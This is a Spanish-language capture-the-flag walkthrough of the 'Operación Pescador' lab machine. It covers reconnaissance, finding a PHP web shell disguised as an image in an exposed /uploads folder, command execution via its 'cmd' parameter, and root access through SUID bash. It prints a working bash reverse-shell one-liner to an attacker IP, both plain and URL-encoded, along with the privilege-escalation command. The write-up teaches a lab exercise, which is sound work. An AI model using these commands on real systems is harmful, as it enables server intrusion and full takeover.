# Operación Pescador: de un upload expuesto a una shell web y una escalada trivial por SUID
Table of Contents
Plataforma: The Hackers Labs
Sistema operativo: Linux
Dificultad: media
Sobre este CTF
Operación Pescador es una máquina que gira alrededor de una cadena muy concreta y muy realista: una superficie web mal expuesta, un archivo subido accesible desde una ruta pública y una ejecución remota de comandos que termina en una escalada local casi inmediata por una mala configuración de permisos.
No es un laboratorio especialmente complejo en lo técnico, pero sí útil para enseñar una lección importante: cuando una aplicación permite subir contenido y ese contenido termina ejecutándose en servidor, el sistema ya está roto. Si además el host arrastra un binario con SUID mal asignado, el salto a root deja de ser una escalada y pasa a ser un trámite.
En esta entrada muestro la resolución completa, desde el descubrimiento de la máquina hasta la obtención de privilegios totales, explicando qué representa cada fase y por qué esta cadena sigue siendo relevante fuera del laboratorio.
Información técnica
| Campo | Valor |
|---|---|
| Nombre | Operación Pescador |
| IP objetivo | 10.0.4.39 |
| Servicios | SSH (22), HTTP (80) |
| Vectores principales | panel web → ruta /uploads expuesta → web shell accesible → RCE → bash con SUID |
| Dificultad | media |
Descubrimiento de la máquina
En este caso, el primer paso no fue enumerar puertos, sino identificar qué IP había recibido la máquina dentro del entorno de laboratorio. Para ello utilizamos netdiscover sobre la red local:
netdiscover -i eth1 -r 10.0.0.0/16Salida relevante:
Currently scanning: 10.0.0.0/16 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240 _____________________________________________________________________________ IP At MAC Address Count Len MAC Vendor / Hostname ----------------------------------------------------------------------------- 10.0.4.1 52:54:00:12:35:00 1 60 Unknown vendor 10.0.4.2 52:54:00:12:35:00 1 60 Unknown vendor 10.0.4.3 08:00:27:6f:3d:92 1 60 PCS Systemtechnik GmbH 10.0.4.39 08:00:27:80:8c:91 1 60 PCS Systemtechnik GmbHLa IP de la víctima se identifica como:
10.0.4.39Escaneo de puertos
Con la IP ya localizada, pasamos a enumerar la superficie expuesta. Primero realizamos un escaneo general y después uno más preciso sobre los puertos encontrados.
nmap -n -Pn -sS -sV -p- --open --min-rate 5000 10.0.4.39nmap -n -Pn -sCV -p22,80 --min-rate 5000 10.0.4.39Resultado:
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-22 23:29 +0100Nmap scan report for 10.0.4.39Host is up (0.00021s latency).
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)| ssh-hostkey:| 256 af:79:a1:39:80:45:fb:b7:cb:86:fd:8b:62:69:4a:64 (ECDSA)|_ 256 6d:d4:9d:ac:0b:f0:a1:88:66:b4:ff:f6:42:bb:f2:e5 (ED25519)80/tcp open http Apache httpd 2.4.65|_http-server-header: Apache/2.4.65 (Debian)|_http-title: Did not follow redirect to http://mail.innovasolutions.thl/MAC Address: 08:00:27:80:8C:91 (Oracle VirtualBox virtual NIC)Service Info: Host: mail.innovasolutions.thl; OS: Linux; CPE: cpe:/o:linux:linux_kernelAnálisis inicial
La máquina expone dos servicios:
- SSH en el puerto
22 - HTTP en el puerto
80
El detalle importante no es solo el Apache, sino la redirección a un nombre de host concreto:
mail.innovasolutions.thlEso obliga a añadir la resolución local en /etc/hosts para poder interactuar correctamente con la aplicación web.
10.0.4.39 mail.innovasolutions.thlEnumeración web
Una vez resuelto el dominio, accedemos al servicio HTTP y encontramos un panel de inicio de sesión. La propia aplicación deja entrever que no será especialmente útil intentar fuerza bruta directa sobre ese formulario, así que el siguiente paso razonable es enumerar rutas y contenido expuesto.
Para ello utilizamos gobuster:
gobuster dir -u http://mail.innovasolutions.thl -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -x html,zip,php,txt,bak,sh -b 403,404 -t 60Resultado relevante:
/login.php (Status: 200) [Size: 1619]/uploads (Status: 301) [Size: 338] [--> http://mail.innovasolutions.thl/uploads/]/upload.php (Status: 302) [Size: 0] [--> login.php]/logout.php (Status: 302) [Size: 0] [--> login.php]/forgot_password.php (Status: 200) [Size: 1317]/dashboard.php (Status: 302) [Size: 0] [--> login.php]Comentario
Aquí aparece el punto más interesante de la enumeración: la carpeta /uploads está expuesta públicamente.
Al acceder a ella encontramos un archivo cuyo contenido aparenta ser una imagen, pero cuya extensión real es .php. Ese detalle cambia por completo la lectura del escenario, porque deja abierta la posibilidad de que no estemos ante un simple recurso estático, sino ante una web shell o un archivo ejecutable accesible desde web.
Explotación
Descubrimiento del parámetro ejecutable
Con el archivo ya localizado dentro de /uploads, el siguiente paso es comprobar si acepta parámetros que permitan lectura local o ejecución de comandos. Para ello usamos wfuzz contra la URL del archivo:
wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-medium.txt -u http://mail.innovasolutions.thl/uploads/foto.png.php?FUZZ=id --hc 404 --hl 2Resultado:
=====================================================================ID Response Lines Word Chars Payload=====================================================================
000005340: 200 3120 L 25661 W 677561 Ch "cmd"El parámetro válido es:
cmdA partir de ahí, probamos ejecución directa:
http://mail.innovasolutions.thl/uploads/foto.png.php?cmd=idLa ejecución funciona correctamente. Ya tenemos RCE sobre el servidor.
Análisis
Este es el fallo central de la máquina. No estamos explotando una vulnerabilidad compleja del framework ni un bypass sofisticado. Estamos aprovechando una combinación mucho más básica y mucho más peligrosa:
- una ruta de uploads visible públicamente
- un archivo ejecutable dentro de esa ruta
- un parámetro que permite ejecutar comandos del sistema
En un entorno real, esto equivale a perder el servidor en cuanto alguien encuentre el recurso correcto.
Obtención de reverse shell
Con RCE confirmada, el siguiente paso es obtener una shell interactiva. Para ello preparamos un listener en la máquina atacante:
sudo nc -nlvp 4444Después ejecutamos un one-liner de Bash a través del parámetro cmd:
...?cmd=bash -c 'bash -i >& /dev/tcp/10.0.4.12/4444 0>&1'Como había espacios y caracteres especiales, se aplicó URL encoding para evitar problemas:
...?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%30%2e%34%2e%31%32%2f%34%34%34%34%20%30%3e%26%31%27Resultado en el listener:
listening on [any] 4444 ...connect to [10.0.4.12] from (UNKNOWN) [10.0.4.39] 50076bash: cannot set terminal process group (563): Inappropriate ioctl for devicebash: no job control in this shellbash-5.2$ whoamiwww-dataYa tenemos shell como:
www-dataTratamiento de TTY
Antes de revisar escalada de privilegios, conviene estabilizar la shell para trabajar con más comodidad.
script /dev/null -c bashDespués:
ctrl + zstty raw -echo; fgreset xtermexport TERM=xtermexport BASH=bashEsto deja una terminal bastante más usable para la fase local.
Escalada de privilegios
Revisión de binarios SUID
Con acceso como www-data, revisamos binarios con SUID:
find / -perm -4000 -type f 2>/dev/nullResultado relevante:
/usr/local/bin/get-report/usr/bin/chsh/usr/bin/sudo/usr/bin/newgrp/usr/bin/umount/usr/bin/passwd/usr/bin/mount/usr/bin/su/usr/bin/gpasswd/usr/bin/chfn/usr/bin/bash/usr/lib/dbus-1.0/dbus-daemon-launch-helper/usr/lib/openssh/ssh-keysignEl dato clave aquí es este:
/usr/bin/bashAnálisis
Tener bash con el bit SUID activo rompe por completo el modelo de privilegios del sistema. No hace falta encadenar nada más. No hace falta explotación avanzada. Basta con preservar privilegios al invocar el binario adecuado.
La escalada es inmediata:
/bin/bash -pResultado:
bash-5.2# whoamirootYa somos root.
Flags
Con privilegios totales ya podemos recuperar las flags del sistema:
cat /home/laptop/flag.txtcat /root/root.txtNotas del autor
Operación Pescador está diseñada para enseñar una cadena muy reconocible en escenarios web mal protegidos:
| Vector | Lo que enseña | Error real representado |
|---|---|---|
| redirección a dominio interno | dependencia de resolución correcta | aplicaciones que esperan un Host concreto |
ruta /uploads expuesta | enumeración de contenido sensible | directorios públicos con material ejecutable |
archivo .php disfrazado | ejecución desde zona de subida | uploads inseguros sin separación real |
parámetro cmd | RCE directa | web shells o scripts dejados en producción |
reverse shell como www-data | compromiso del servicio web | ejecución sobre el usuario del servidor |
bash con SUID | escalada trivial a root | permisos catastróficos sobre binarios comunes |
Lo importante de esta máquina no es solo llegar rápido a root. Lo importante es entender lo poco que hace falta cuando una aplicación permite ejecutar código desde una zona que nunca debió ser pública y el sistema además arrastra una configuración SUID desastrosa.